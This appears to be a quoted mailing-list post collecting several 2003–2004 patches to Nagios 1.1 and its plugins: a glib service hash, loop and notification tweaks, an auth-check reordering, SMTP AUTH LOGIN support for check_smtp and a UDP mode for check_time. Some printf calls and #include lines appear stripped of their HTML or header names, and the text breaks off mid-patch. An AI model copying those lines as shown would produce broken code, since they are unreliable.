nagios-1.1-virgin/html/Makefile.in nagios-1.1/html/Makefile.in > --- nagios-1.1-virgin/html/Makefile.in Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/html/Makefile.in Tue Oct 7 13:03:51 2003 > @@ -1,6 +1,6 @@ > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ > -LDFLAGS=@LDFLAGS@ @LIBS@ > +CFLAGS=@CFLAGS@ @DEFS@ `pkg-config glib --cflags` > +LDFLAGS=@LDFLAGS@ @LIBS@ `pkg-config glib --libs` > > prefix=@prefix@ > exec_prefix=@exec_prefix@ > diff -ru nagios-1.1-virgin/cgi/status.c nagios-1.1/cgi/status.c > --- nagios-1.1-virgin/cgi/status.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/cgi/status.c Tue Oct 7 12:29:00 2003 > @@ -1151,6 +1151,7 @@ > printf("Attempt Sort by current attempt (ascending)Sort by current attempt (descending)",temp_url,SORT_ASCENDING,SORT_CURRENTATTEMPT,url_images_path,UP_ARROW_ICON,temp_url,SORT_DESCENDING,SORT_CURRENTATTEMPT,url_images_path,DOWN_ARROW_ICON); > > printf("Status Information\n"); > + printf("Ack\n"); > printf("\n"); > > > @@ -1499,6 +1500,15 @@ > printf("%s\n",status_bg_class,state_duration); > printf("%d/%d\n",status_bg_class,temp_status->current_attempt,temp_status->max_attempts); > printf("%s \n",status_bg_class,temp_status->information); > + if (temp_status->status==SERVICE_OK) > + { > + printf(" \n",status_bg_class); > + } > + else > + { > + printf("Ack\n", url_encode(temp_status->description)); > + } > > printf("\n"); > > diff -u -b -B -r1.1.1.1 Makefile.in > --- base/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/Makefile.in 29 Jul 2003 08:22:54 -0000 > @@ -10,9 +10,9 @@ > SRC_XDATA=../xdata > > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE > +CFLAGS=@CFLAGS@ @DEFS@ -DNSCORE `glib-config --cflags` > #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DHAVE_CONFIG_H -DNSCORE > -LDFLAGS=@LDFLAGS@ @LIBS@ > +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` > > prefix=@prefix@ > exec_prefix=@exec_prefix@ > diff -u -b -B -r1.1.1.1 Makefile.in > --- cgi/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ cgi/Makefile.in 29 Jul 2003 08:22:54 -0000 > @@ -25,9 +25,9 @@ > > CP=@CP@ > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI > +CFLAGS=@CFLAGS@ @DEFS@ -DNSCGI `glib-config --cflags` > #CFLAGS=-O3 -Wall -Wshadow -Wpointer-arith -Wcast-qual -Wcast-align -Wstrict-prototypes -Wmissing-prototypes -Wnested-externs -DHAVE_CONFIG_H -DNSCGI > -LDFLAGS=@LDFLAGS@ @LIBS@ > +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` > > CGIS=avail.cgi cmd.cgi config.cgi extinfo.cgi history.cgi notifications.cgi outages.cgi showlog.cgi status.cgi statuswml.cgi summary.cgi tac.cgi $(CGIEXTRAS) > > diff -u -b -B -r1.1.1.2 common.h > --- common/common.h 23 Jun 2003 01:57:24 -0000 1.1.1.2 > +++ common/common.h 29 Jul 2003 08:22:54 -0000 > @@ -208,8 +208,12 @@ > #define OK 0 > #define ERROR -2 /* value was changed from -1 so as to not interfere with STATUS_UNKNOWN plugin result */ > > +#ifndef TRUE > #define TRUE 1 > +#endif > +#ifndef FALSE > #define FALSE 0 > +#endif > > > /****************** HOST CONFIG FILE READING OPTIONS ********************/ > diff -u -b -B -r1.1.1.1 config.h.in > --- common/config.h.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ common/config.h.in 29 Jul 2003 08:22:54 -0000 > @@ -214,3 +214,7 @@ > #include > #endif > > +#define HAVE_GLIB_H 1 > +#ifdef HAVE_GLIB_H > +#include > +#endif > diff -u -b -B -r1.1.1.1 objects.c > --- common/objects.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ common/objects.c 29 Jul 2003 08:22:54 -0000 > @@ -59,6 +59,7 @@ > servicedependency *servicedependency_list=NULL; > hostdependency *hostdependency_list=NULL; > hostescalation *hostescalation_list=NULL; > +GHashTable *service_hash = NULL; > > > > @@ -2222,6 +2223,19 @@ > printf("\tEvent Handler: %s\n",(new_service->event_handler==NULL)?"N/A":new_service->event_handler); > #endif > > +#ifdef HAVE_GLIB_H > + /* Cache service in hash table */ > + if (!service_hash) > + service_hash = g_hash_table_new(g_str_hash, g_str_equal); > + > + if (service_hash) > + { > + char *key = calloc(strlen(new_service->host_name) + strlen(new_service->description) + 2, 1); > + sprintf(key, "%s-%s", new_service->host_name, new_service->description); > + g_hash_table_insert(service_hash, key, new_service); > + } > +#endif > + > #ifdef DEBUG0 > printf("add_service() end\n"); > #endif > @@ -3500,6 +3514,18 @@ > if(host_name==NULL || svc_desc==NULL) > return NULL; > > +#ifdef HAVE_GLIB_H > + /* Lookup service in the hash */ > + if (service_hash) > + { > + char *key = calloc(strlen(host_name) + strlen(svc_desc) + 2, 1); > + sprintf(key, "%s-%s", host_name, svc_desc); > + temp_service = (service *)g_hash_table_lookup(service_hash, key); > + free(key); > + return temp_service; > + } > +#endif > + > if(svcptr==NULL) > temp_service=service_list; > else > diff -u -b -B -r1.1.1.2 Makefile.in > --- contrib/Makefile.in 23 Jun 2003 01:57:24 -0000 1.1.1.2 > +++ contrib/Makefile.in 29 Jul 2003 08:22:54 -0000 > @@ -5,8 +5,8 @@ > ############################### > > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ > -LDFLAGS=@LDFLAGS@ @LIBS@ > +CFLAGS=@CFLAGS@ @DEFS@ `glib-config --cflags` > +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` > > # Source code directories > SRC_COMMON=../common > diff -u -b -B -r1.1.1.1 Makefile.in > --- html/Makefile.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ html/Makefile.in 29 Jul 2003 08:22:54 -0000 > @@ -1,6 +1,6 @@ > CC=@CC@ > -CFLAGS=@CFLAGS@ @DEFS@ > -LDFLAGS=@LDFLAGS@ @LIBS@ > +CFLAGS=@CFLAGS@ @DEFS@ `glib-config --cflags` > +LDFLAGS=@LDFLAGS@ @LIBS@ `glib-config --libs` > > prefix=@prefix@ > exec_prefix=@exec_prefix@ > diff -ru nagios-1.1-virgin/cgi/status.c nagios-1.1/cgi/status.c > --- nagios-1.1-virgin/cgi/status.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/cgi/status.c Wed Nov 26 18:01:16 2003 > @@ -1293,9 +1293,15 @@ > strncpy(status,"CRITICAL",sizeof(status)); > status_class="CRITICAL"; > if(temp_status->problem_has_been_acknowledged==TRUE) > + { > status_bg_class="BGCRITICALACK"; > + status_class="BGCRITICALACK"; > + } > else if(temp_status->scheduled_downtime_depth>0) > + { > status_bg_class="BGCRITICALSCHED"; > + status_class="BGCRITICALSCHED"; > + } > else > status_bg_class="BGCRITICAL"; > } > diff -ur nagios-1.1-virgin/base/nagios.c nagios-1.1/base/nagios.c > --- nagios-1.1-virgin/base/nagios.c Thu Jul 10 08:30:10 2003 > +++ nagios-1.1/base/nagios.c Thu Jul 10 08:32:20 2003 > @@ -51,6 +51,8 @@ > #include > #endif > > +#include > + > /******** BEGIN EMBEDDED PERL INTERPRETER DECLARATIONS ********/ > > #ifdef EMBEDDEDPERL > @@ -1497,6 +1499,8 @@ > printf("Current/Max Outstanding Checks: %d/%d\n",currently_running_service_checks,max_parallel_service_checks); > #endif > > + check_for_external_commands(); > + > /* handle high priority events */ > if(event_list_high!=NULL && (current_time>=event_list_high->run_time)){ > > @@ -1594,8 +1598,13 @@ > } > > /* wait a second so we don't hog the CPU... */ > - else > - sleep((unsigned int)sleep_time); > + else { > + struct timespec t; > + t.tv_sec = 0; > + t.tv_nsec = 1000 * 1000 * 50; > + nanosleep(&t, NULL); > + //check_for_external_commands(); > + } > } > > /* we don't have anything to do at this moment in time */ > @@ -1606,7 +1615,12 @@ > check_for_external_commands(); > > /* wait a second so we don't hog the CPU... */ > - sleep((unsigned int)sleep_time); > + > + { struct timespec t; > + t.tv_sec = 0; > + t.tv_nsec = 1000 * 1000 * 50; > + nanosleep(&t, NULL); } > + > } > } > > --- commands.c.old Sat Aug 2 14:13:23 2003 > +++ nagios-1.1/base/commands.c Sat Aug 2 14:13:53 2003 > @@ -347,8 +347,19 @@ > > > /**** PROCESS ALL PASSIVE CHECK RESULTS AT ONE TIME ****/ > - if(passive_check_result_list!=NULL) > - process_passive_service_checks(); > + { > + static unsigned int last_checked = 0; > + unsigned int t; > + > + /* Don't process more frequently than once every 5 seconds. */ > + /* This does a fork!!! */ > + time(&t); > + if(passive_check_result_list!=NULL && ((t - last_checked) > 5) ) { > + process_passive_service_checks(); > + last_checked = t; > + } > + } > + > > > #ifdef DEBUG0 > --- commands.c.old Sat Aug 2 15:37:31 2003 > +++ nagios-1.1/base/commands.c Sat Aug 2 15:44:36 2003 > @@ -63,7 +63,7 @@ > > extern FILE *command_file_fp; > > -passive_check_result *passive_check_result_list; > +passive_check_result *passive_check_result_list = NULL; > > int flush_pending_commands=FALSE; > > @@ -96,9 +96,6 @@ > /* update the status log with new program information */ > update_program_status(FALSE); > > - /* reset passive check result list pointer */ > - passive_check_result_list=NULL; > - > /* reset flush flag */ > flush_pending_commands=FALSE; > > @@ -1279,13 +1276,9 @@ > > new_pcr->next=NULL; > > - /* add the passive check result to the end of the list in memory */ > - if(passive_check_result_list==NULL) > - passive_check_result_list=new_pcr; > - else{ > - for(temp_pcr=passive_check_result_list;temp_pcr->next!=NULL;temp_pcr=temp_pcr->next); > - temp_pcr->next=new_pcr; > - } > + /* add the passive check result to the head of the list in memory */ > + new_pcr->next = passive_check_result_list; > + passive_check_result_list = new_pcr; > > #ifdef DEBUG0 > printf("cmd_process_service_check_result() end\n"); > @@ -2845,6 +2838,17 @@ > > /* the grandchild process should submit the service check result... */ > if(pid==0){ > + passive_check_result *t, *t1; > + /* Reverse passive list to correct the reverse that happened in collection. */ > + > + t = passive_check_result_list; > + passive_check_result_list = NULL; > + while (t) { > + t1 = t->next; > + t->next = passive_check_result_list; > + passive_check_result_list = t; > + t = t1; > + } > > /* write all service checks to the IPC pipe for later processing by the grandparent */ > for(temp_pcr=passive_check_result_list;temp_pcr!=NULL;temp_pcr=temp_pcr->next){ > Index: base/checks.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/checks.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 checks.c > --- base/checks.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/checks.c 7 Dec 2003 21:15:43 -0000 > @@ -522,6 +522,7 @@ > time_t current_time; > int first_check=FALSE; > int state_was_logged=FALSE; > + int output_changed = FALSE; > char old_plugin_output[MAX_PLUGINOUTPUT_LENGTH]=""; > char temp_plugin_output[MAX_PLUGINOUTPUT_LENGTH]=""; > char *temp_ptr; > @@ -617,6 +618,7 @@ > dependency_result=DEPENDENCIES_OK; > first_check=FALSE; > state_was_logged=FALSE; > + output_changed=FALSE; > strcpy(old_plugin_output,""); > strcpy(temp_plugin_output,""); > > @@ -705,6 +707,9 @@ > /* grab the return code */ > temp_service->current_state=queued_svc_msg.return_code; > } > + > + if (strcmp(old_plugin_output,temp_service->plugin_output)) > + output_changed = TRUE; > > /* get the host that this service runs on */ > temp_host=find_host(temp_service->host_name,NULL); > @@ -835,7 +840,7 @@ > state_was_logged=TRUE; > > /* notify contacts about the service recovery */ > - service_notification(temp_service,NULL); > + service_notification(temp_service,NULL,output_changed); > > /* run the service event handler to handle the hard state change */ > handle_service_event(temp_service,HARD_STATE); > @@ -1064,7 +1069,7 @@ > check_pending_flex_service_downtime(temp_service); > > /* (re)send notifications out about this service problem if the host is up (and was at last check also) and the dependencies were okay... */ > - service_notification(temp_service,NULL); > + service_notification(temp_service,NULL,output_changed); > > /* run the service event handler if we changed state from the last hard state or if this service is flagged as being volatile */ > if(hard_state_change==TRUE || temp_service->is_volatile==TRUE) > @@ -1103,7 +1108,6 @@ > > /* if we're stalking this state type and state was not already logged AND the plugin output changed since last check, log it now.. */ > if(temp_service->state_type==HARD_STATE && state_change==FALSE && state_was_logged==FALSE && strcmp(old_plugin_output,temp_service->plugin_output)){ > - > if((temp_service->current_state==STATE_OK && temp_service->stalk_on_ok==TRUE)) > log_service_event(temp_service,HARD_STATE); > > Index: base/commands.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/commands.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 commands.c > --- base/commands.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/commands.c 7 Dec 2003 21:15:43 -0000 > @@ -2277,7 +2277,7 @@ > > /* send out an acknowledgement notification */ > if(notify==TRUE) > - service_notification(svc,ack_data); > + service_notification(svc,ack_data,0); > > /* set the acknowledgement flag */ > svc->problem_has_been_acknowledged=TRUE; > Index: base/flapping.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/flapping.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 flapping.c > --- base/flapping.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/flapping.c 7 Dec 2003 21:15:43 -0000 > @@ -321,7 +321,7 @@ > > /* should we send a recovery notification? */ > if(svc->check_flapping_recovery_notification==TRUE && svc->current_state==STATE_OK) > - service_notification(svc,NULL); > + service_notification(svc,NULL,0); > > /* clear the recovery notification flag */ > svc->check_flapping_recovery_notification=FALSE; > Index: base/nagios.h.in > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/nagios.h.in,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 nagios.h.in > --- base/nagios.h.in 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/nagios.h.in 7 Dec 2003 21:15:44 -0000 > @@ -367,10 +367,10 @@ > > > /**** Notification Functions ****/ > -int check_service_notification_viability(service *,char *); /* checks viability of notifying all contacts about a service */ > +int check_service_notification_viability(service *,char *,int); /* checks viability of notifying all contacts about a service */ > int is_valid_escalation_for_service_notification(service *,serviceescalation *); /* checks if an escalation entry is valid for a particular service notification */ > int should_service_notification_be_escalated(service *); /* checks if a service notification should be escalated */ > -int service_notification(service *,char *); /* notify all contacts about a service (problem or recovery) */ > +int service_notification(service *,char *,int); /* notify all contacts about a service (problem or recovery) */ > int check_contact_service_notification_viability(contact *, service *); /* checks viability of notifying a contact about a service */ > int notify_contact_of_service(contact *,service *,char *); /* notify a single contact about a service */ > int check_host_notification_viability(host *,int,char *); /* checks viability of notifying all contacts about a host */ > Index: base/notifications.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/base/notifications.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 notifications.c > --- base/notifications.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ base/notifications.c 7 Dec 2003 21:15:44 -0000 > @@ -58,7 +58,7 @@ > > > /* notify contacts about a service problem or recovery */ > -int service_notification(service *svc, char *ack_data){ > +int service_notification(service *svc, char *ack_data, int output_changed) { > host *temp_host; > notification *temp_notification; > time_t current_time; > @@ -87,7 +87,7 @@ > } > > /* check the viability of sending out a service notification */ > - if(check_service_notification_viability(svc,ack_data)==ERROR){ > + if(check_service_notification_viability(svc,ack_data,output_changed)==ERROR){ > #ifdef DEBUG4 > printf("\tSending out a notification for this service is not viable at this time.\n"); > #endif > @@ -200,7 +200,7 @@ > > > /* checks the viability of sending out a service alert (top level filters) */ > -int check_service_notification_viability(service *svc, char *ack_data){ > +int check_service_notification_viability(service *svc, char *ack_data, int output_changed){ > host *temp_host; > time_t current_time; > time_t timeperiod_start; > @@ -371,7 +371,12 @@ > } > > /* don't notify if we haven't waited long enough since the last time (and the service is not marked as being volatile) */ > - if((current_time < svc->next_notification) && svc->is_volatile==FALSE){ > + if((current_time < svc->next_notification) && svc->is_volatile==FALSE && > + (!output_changed || > + (svc->current_state==STATE_OK && !svc->stalk_on_ok) || > + (svc->current_state==STATE_WARNING && !svc->stalk_on_warning) || > + (svc->current_state==STATE_UNKNOWN && !svc->stalk_on_unknown) || > + (svc->current_state==STATE_CRITICAL && !svc->stalk_on_critical) )){ > #ifdef DEBUG4 > printf("\tWe haven't waited long enough to re-notify contacts about this service!\n"); > printf("\tNext valid notification time: %s",ctime(&svc->next_notification)); > ? cgi/Makefile > ? cgi/authall.patch > ? cgi/avail.cgi > ? cgi/cgiutils.h > ? cgi/cmd.cgi > ? cgi/config.cgi > ? cgi/extinfo.cgi > ? cgi/histogram.cgi > ? cgi/history.cgi > ? cgi/notifications.cgi > ? cgi/outages.cgi > ? cgi/showlog.cgi > ? cgi/status.cgi > ? cgi/statusmap.cgi > ? cgi/statuswml.cgi > ? cgi/statuswrl.cgi > ? cgi/summary.cgi > ? cgi/tac.cgi > ? cgi/trends.cgi > Index: cgi/auth.c > =================================================================== > RCS file: /home/cvs/repos/nagios_source/cgi/auth.c,v > retrieving revision 1.1.1.1 > diff -u -r1.1.1.1 auth.c > --- cgi/auth.c 23 Jun 2003 01:56:10 -0000 1.1.1.1 > +++ cgi/auth.c 25 Feb 2004 00:35:29 -0000 > @@ -198,9 +198,6 @@ > int is_authorized_for_host(host *hst, authdata *authinfo){ > contact *temp_contact; > > - if(hst==NULL) > - return FALSE; > - > /* if we're not using authentication, fake it */ > if(use_authentication==FALSE) > return TRUE; > @@ -213,6 +210,9 @@ > if(is_authorized_for_all_hosts(authinfo)==TRUE) > return TRUE; > > + if(hst==NULL) > + return FALSE; > + > /* find the contact */ > temp_contact=find_contact(authinfo->username,NULL); > > @@ -252,9 +252,6 @@ > host *temp_host; > contact *temp_contact; > > - if(svc==NULL) > - return FALSE; > - > /* if we're not using authentication, fake it */ > if(use_authentication==FALSE) > return TRUE; > @@ -266,6 +263,9 @@ > /* if this user is authorized for all services, they are for this one... */ > if(is_authorized_for_all_services(authinfo)==TRUE) > return TRUE; > + > + if(svc==NULL) > + return FALSE; > > /* find the host */ > temp_host=find_host(svc->host_name,NULL); > diff -ruN nagios-plugins-1.3.0.orig/plugins/check_smtp.c nagios-plugins-1.3.0/plugins/check_smtp.c > --- nagios-plugins-1.3.0.orig/plugins/check_smtp.c 2003-02-15 23:48:46.000000000 +1100 > +++ nagios-plugins-1.3.0/plugins/check_smtp.c 2003-08-12 15:00:07.000000000 +1000 > @@ -69,12 +69,77 @@ > char *server_address = NULL; > char *server_expect = NULL; > char *from_arg = " "; > +char *authtype = NULL; > +char *authuser = NULL; > +char *authpass = NULL; > int warning_time = 0; > int check_warning_time = FALSE; > int critical_time = 0; > int check_critical_time = FALSE; > int verbose = FALSE; > > +/* encode64 routine from http://www.experts-exchange.com/Programming/Programming_Languages/C/Q_20245582.html */ > + > +#define BUFOVER (-2) > +#define CHAR64(c) (((c) < 0 || (c) > 127) ? -1 : index_64[(c)]) > +static char basis_64[] = > +"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????"; > +static char index_64[128] = { > + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, > + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, > + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, > + 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, > + -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, > + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, > + -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, > + 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1 > +}; > + > +static int > +encode64(const char *_in, unsigned inlen, char *_out, unsigned outmax, unsigned *outlen) > +{ > + > + const unsigned char *in = (const unsigned char *) _in; > + unsigned char *out = (unsigned char *) _out; > + unsigned char oval; > + char *blah; > + unsigned olen; > + > + olen = (inlen + 2) / 3 * 4; > + if (outlen) > + *outlen = olen; > + if (outmax < olen) > + return BUFOVER; > + > + blah = (char *) out; > + while (inlen >= 3) > + { > +/* user provided max buffer size; make sure we don't go over it */ > + *out++ = basis_64[in[0] >> 2]; > + *out++ = basis_64[((in[0] << 4) & 0x30) | (in[1] >> 4)]; > + *out++ = basis_64[((in[1] << 2) & 0x3c) | (in[2] >> 6)]; > + *out++ = basis_64[in[2] & 0x3f]; > + in += 3; > + inlen -= 3; > + } > + if (inlen > 0) > + { > +/* user provided max buffer size; make sure we don't go over it */ > + *out++ = basis_64[in[0] >> 2]; > + oval = (in[0] << 4) & 0x30; > + if (inlen > 1) > + oval |= in[1] >> 4; > + *out++ = basis_64[oval]; > + *out++ = (inlen < 2) ? '=' : basis_64[(in[1] << 2) & 0x3c]; > + *out++ = '='; > + } > + > + if (olen < outmax) > + *out = '\0'; > + > + return OK; > +} > + > int > main (int argc, char **argv) > { > @@ -83,6 +148,7 @@ > char buffer[MAX_INPUT_BUFFER] = ""; > char *from_str = NULL; > char *helocmd = NULL; > + char *error_msg = NULL; > > if (process_arguments (argc, argv) != OK) > usage ("Invalid command arguments supplied\n"); > @@ -124,41 +190,134 @@ > if (result == -1) { > printf ("recv() failed\n"); > result = STATE_WARNING; > + } else > + result = STATE_OK; > + > + /* make sure we find the response we are looking for */ > + if (result == STATE_OK && !strstr (buffer, server_expect)) { > + if (server_port == SMTP_PORT) > + printf ("Invalid SMTP response received from host\n"); > + else > + printf ("Invalid SMTP response received from host on port %d\n", > + server_port); > + result = STATE_WARNING; > } > - > - else { > - > - /* make sure we find the response we are looking for */ > - if (!strstr (buffer, server_expect)) { > - if (server_port == SMTP_PORT) > - printf ("Invalid SMTP response received from host\n"); > - else > - printf ("Invalid SMTP response received from host on port %d\n", > - server_port); > - result = STATE_WARNING; > + > + if (result == STATE_OK && authtype != NULL) { > + if (strcmp (authtype, "LOGIN") == 0) { > + char abuf[MAX_INPUT_BUFFER]; > + unsigned alen; > + int ret; > + do { > + if (authuser == NULL) { > + result = STATE_CRITICAL; > + error_msg = "no authuser specified"; > + break; > + } > + if (authpass == NULL) { > + result = STATE_CRITICAL; > + error_msg = "no authpass specified"; > + break; > + } > + send(sd, "AUTH LOGIN\r\n", strlen("AUTH LOGIN\r\n"), 0); > + if (verbose == TRUE) { > + printf ("sent AUTH LOGIN\n"); > + } > + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { > + result = STATE_CRITICAL; > + error_msg = "recv() failed after AUTH LOGIN"; > + break; > + } > + buffer[ret] = 0; > + if (verbose == TRUE) { > + printf ("received %s\n", buffer); > + } > + if (strncmp (buffer, "334", 3) != 0) { > + result = STATE_CRITICAL; > + error_msg = "invalid response received after AUTH LOGIN"; > + break; > + } > + if (encode64 (authuser, strlen(authuser), abuf, MAX_INPUT_BUFFER, &alen) != OK) { > + result = STATE_CRITICAL; > + error_msg = "failed to base64-encode authuser"; > + break; > + } > + strcat (abuf, "\r\n"); > + send(sd, abuf, strlen(abuf), 0); > + if (verbose == TRUE) { > + printf ("sent %s\n", abuf); > + } > + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { > + result = STATE_CRITICAL; > + error_msg = "recv() failed after sending authuser"; > + break; > + } > + buffer[ret] = 0; > + if (verbose == TRUE) { > + printf ("received %s\n", buffer); > + } > + if (strncmp (buffer, "334", 3) != 0) { > + result = STATE_CRITICAL; > + error_msg = "invalid response received after authuser"; > + break; > + } > + if (encode64 (authpass, strlen(authpass), abuf, MAX_INPUT_BUFFER, &alen) != OK) { > + result = STATE_CRITICAL; > + error_msg = "failed to base64-encode authpass"; > + break; > + } > + strcat (abuf, "\r\n"); > + send(sd, abuf, strlen(abuf), 0); > + if (verbose == TRUE) { > + printf ("sent %s\n", abuf); > + } > + if ((ret = recv(sd, buffer, MAX_INPUT_BUFFER-1, 0)) == -1) { > + result = STATE_CRITICAL; > + error_msg = "recv() failed after sending authpass"; > + break; > + } > + buffer[ret] = 0; > + if (verbose == TRUE) { > + printf ("received %s\n", buffer); > + } > + if (strncmp (buffer, "235", 3) != 0) { > + result = STATE_CRITICAL; > + error_msg = "invalid response received after authpass"; > + break; > + } > + break; > + } while (0); > + } else { > + result = STATE_CRITICAL; > + error_msg = "only authtype LOGIN is supported"; > } > + } > + > + time (&end_time); > > - else { > - > - time (&end_time); > - > - result = STATE_OK; > - > - if (check_critical_time == TRUE > - && (end_time - start_time) > critical_time) result = > - STATE_CRITICAL; > - else if (check_warning_time == TRUE > - && (end_time - start_time) > warning_time) result = > - STATE_WARNING; > - > - if (verbose == TRUE) > - printf ("SMTP %s - %d sec. response time, %s\n", > - state_text (result), (int) (end_time - start_time), buffer); > - else > - printf ("SMTP %s - %d second response time\n", state_text (result), > - (int) (end_time - start_time)); > + if (check_critical_time == TRUE > + && (end_time - start_time) > critical_time) result = > + STATE_CRITICAL; > + else if (check_warning_time == TRUE > + && (end_time - start_time) > warning_time) result = > + STATE_WARNING; > + > + if (verbose == TRUE) > + if (error_msg == NULL) { > + printf ("SMTP %s - %d sec. response time, %s\n", > + state_text (result), (int) (end_time - start_time), buffer); > + } else { > + printf ("SMTP %s - %s, %d sec. response time, %s\n", > + state_text (result), error_msg, (int) (end_time - start_time), buffer); > + } > + else > + if (error_msg == NULL) { > + printf ("SMTP %s - %d second response time\n", > + state_text (result), (int) (end_time - start_time)); > + } else { > + printf ("SMTP %s - %s, %d second response time\n", > + state_text (result), error_msg, (int) (end_time - start_time)); > } > - } > > /* close the connection */ > > @@ -211,6 +370,9 @@ > {"warning", required_argument, 0, 'w'}, > {"port", required_argument, 0, 'p'}, > {"from", required_argument, 0, 'f'}, > + {"authtype", required_argument, 0, 'A'}, > + {"authuser", required_argument, 0, 'U'}, > + {"authpass", required_argument, 0, 'P'}, > {"verbose", no_argument, 0, 'v'}, > {"version", no_argument, 0, 'V'}, > {"help", no_argument, 0, 'h'}, > @@ -233,10 +395,10 @@ > while (1) { > #ifdef HAVE_GETOPT_H > c = > - getopt_long (argc, argv, "+hVvt:p:f:e:c:w:H:", long_options, > + getopt_long (argc, argv, "+hVvt:p:f:e:c:w:H:A:U:P:", long_options, > &option_index); > #else > - c = getopt (argc, argv, "+?hVvt:p:f:e:c:w:H:"); > + c = getopt (argc, argv, "+?hVvt:p:f:e:c:w:H:A:U:P:"); > #endif > if (c == -1 || c == EOF) > break; > @@ -261,6 +423,15 @@ > case 'f': /* from argument */ > from_arg = optarg; > break; > + case 'A': > + authtype = optarg; > + break; > + case 'U': > + authuser = optarg; > + break; > + case 'P': > + authpass = optarg; > + break; > case 'e': /* server expect string on 220 */ > server_expect = optarg; > break; > @@ -355,6 +526,12 @@ > " String to expect in first line of server response (default: %s)\n" > " -f, --from=STRING\n" > " from address to include in MAIL command (default NULL, Exchange2000 requires one)\n" > + " -A, --authtype=STRING\n" > + " SMTP AUTH type to check (default none, only LOGIN supported)\n" > + " -U, --authuser=STRING\n" > + " SMTP AUTH username\n" > + " -P, --authpass=STRING\n" > + " SMTP AUTH password\n" > " -w, --warning=INTEGER\n" > " Seconds necessary to result in a warning status\n" > " -c, --critical=INTEGER\n" > @@ -379,7 +556,7 @@ > print_usage (void) > { > printf > - ("Usage: %s -H host [-e expect] [-p port] [-f from addr] [-w warn] [-c crit] [-t timeout] [-v]\n" > + ("Usage: %s -H host [-e expect] [-p port] [-f from addr] [-A authtype -U authuser -P authpass] [-w warn] [-c crit] [-t timeout] [-v]\n" > " %s --help\n" > " %s --version\n", progname, progname, progname); > } > --- /tmp/nagios-plugins-1.3.0/plugins/check_time.c 2003-02-15 23:48:46.000000000 +1100 > +++ nagios-plugins-1.3.0/plugins/check_time.c 2003-06-06 10:43:32.000000000 +1000 > @@ -61,7 +61,7 @@ > int check_critical_diff = FALSE; > int server_port = TIME_PORT; > char *server_address = NULL; > - > +int use_udp = FALSE; > > int process_arguments (int, char **); > void print_usage (void); > @@ -85,7 +85,13 @@ > time (&start_time); > > /* try to connect to the host at the given port number */ > - if (my_tcp_connect (server_address, server_port, &sd) != STATE_OK) { > + if (use_udp) { > + result = my_udp_connect (server_address, server_port, &sd); > + } else { > + result = my_tcp_connect (server_address, server_port, &sd); > + } > + > + if (result != STATE_OK) { > if (check_critical_time == TRUE) > result = STATE_CRITICAL; > else if (check_warning_time == TRUE) > @@ -94,7 +100,21 @@ > result = STATE_UNKNOWN; > terminate (result, > "TIME UNKNOWN - could not connect to server %s, port %d\n", > - server_address, server_port); > + server_address, server_port); > + } > + > + if (use_udp) { > + if (send (sd, "", 0, 0) < 0) { > + if (check_critical_time == TRUE) > + result = STATE_CRITICAL; > + else if (check_warning_time == TRUE) > + result = STATE_WARNING; > + else > + result = STATE_UNKNOWN; > + terminate (result, > + "TIME UNKNOWN - could not send UDP request to server %s, port %d\n", > + server_address, server_port); > + } > } > > /* watch for the connection string */ > @@ -170,6 +190,7 @@ > {"timeout", required_argument, 0, 't'}, > {"version", no_argument, 0, 'V'}, > {"help", no_argument, 0, 'h'}, > + {"udp", no_argument, 0, 'u'}, > {0, 0, 0, 0} > }; > #endif > @@ -193,10 +214,10 @@ > while (1) { > #ifdef HAVE_GETOPT_H > c = > - getopt_long (argc, argv, "hVH:w:c:W:C:p:t:", 